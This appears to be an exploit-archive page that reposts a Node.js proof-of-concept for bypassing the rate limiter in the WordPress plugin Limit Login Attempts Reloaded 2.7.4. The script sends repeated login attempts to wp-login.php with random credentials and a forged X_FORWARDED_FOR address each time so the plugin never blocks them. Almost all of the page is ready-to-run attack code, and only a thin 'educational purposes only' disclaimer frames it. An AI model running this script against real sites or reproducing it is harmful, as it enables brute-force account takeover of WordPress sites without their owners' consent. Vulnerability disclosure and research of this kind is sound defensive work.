Wordpress plugin limit login attempts reloaded 2.7.4 login limit bypass Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2019-04-08 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin limit login attempts reloaded 2.7.4 login limit bypass is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

#!/usr/bin/env node
const request = require("request")

/**
* Exploit Title: Limit Login Attempts Reloaded by WPChef rate limiter bypass
* Date: 2019-04-08
* Exploit Author: isdampe
* Software Link: https://wordpress.org/plugins/limit-login-attempts-reloaded
* Version: 2.7.4
* Tested on: WordPress 5.1.1
*
* Description
* -----------
*
* The plugin's primary goal is to limit the rate at which an individual can attempt
* to authenticate with WordPress. Plugin has support for HTTP headers
* X_FORWARDED_FOR and X_SUCURI_CLIENTIP to allow rate limiting for users
* when web servers are behind a reverse proxy service.
* However, REMOTE_ADDR is not verified as a whitelisted proxy address, thus
* allowing an attacker to easily forge either the X_FORWARDED_FOR or
* X_SUCURI_CLIENTIP headers to completely bypass the rate limiting service.
*
* PoC
* ---
*/
class LoginRequest
{
constructor(loginUri, numberOfRepititions) {
this._loginUri = loginUri
this._numberOfRepititions = numberOfRepititions
this._count = 0
}

async process() {
await this._sendRequest()
if (this._count++ < this._numberOfRepititions)
this.process()
}

async _sendRequest() {
return new Promise(async (resolve, reject) => {
console.log(`Sending request ${this._count}...`)

request.post({
url : this._loginUri,
form: {
"log": this._getRandomString(),
"pwd": this._getRandomString(),
"wp-submit": "Log+In",
"redirect_to": "/wp-admin/",
"testcookie": "1"
},
headers: {
"X_FORWARDED_FOR": this._getRandomIp()
}
}, (err, res, body) => {
if (err)
console.error(err)

if (body.indexOf("Too many failed") > -1) {
reject("Login was rejected, exploit failed.")
return
}

resolve()
console.log(`\tRequest ${this._count} was not blocked`)
})

})
}

_getRandomString() {
const map = "abcdefghijklmnopqrstuvwxyz0123456789"
const length = Math.floor(Math.random() * 15) + 1
let buffer = ""
for (let i=0; i<length; ++i)
buffer += Math.floor(Math.random() * map.length)

return buffer
}

_getRandomIp() {
const bits = []
for (let x=0; x<4; ++x)
bits.push(Math.floor(Math.random() * 254)) + 1
return bits.join(".")
}

}

if (process.argv.length < 4) {
console.log("Usage: ./bypass-ip-block.js [url] [number_of_repititions]")
console.log("\turl: The url pointing to wp-login.php, (e.g. http://localhost/wp-login.php)")
console.log("\tnumber_of_repititions: The number of login attempts to create (e.g. 500)")
process.exit(1)
}

const session = new LoginRequest(process.argv[2], process.argv[3])
session.process()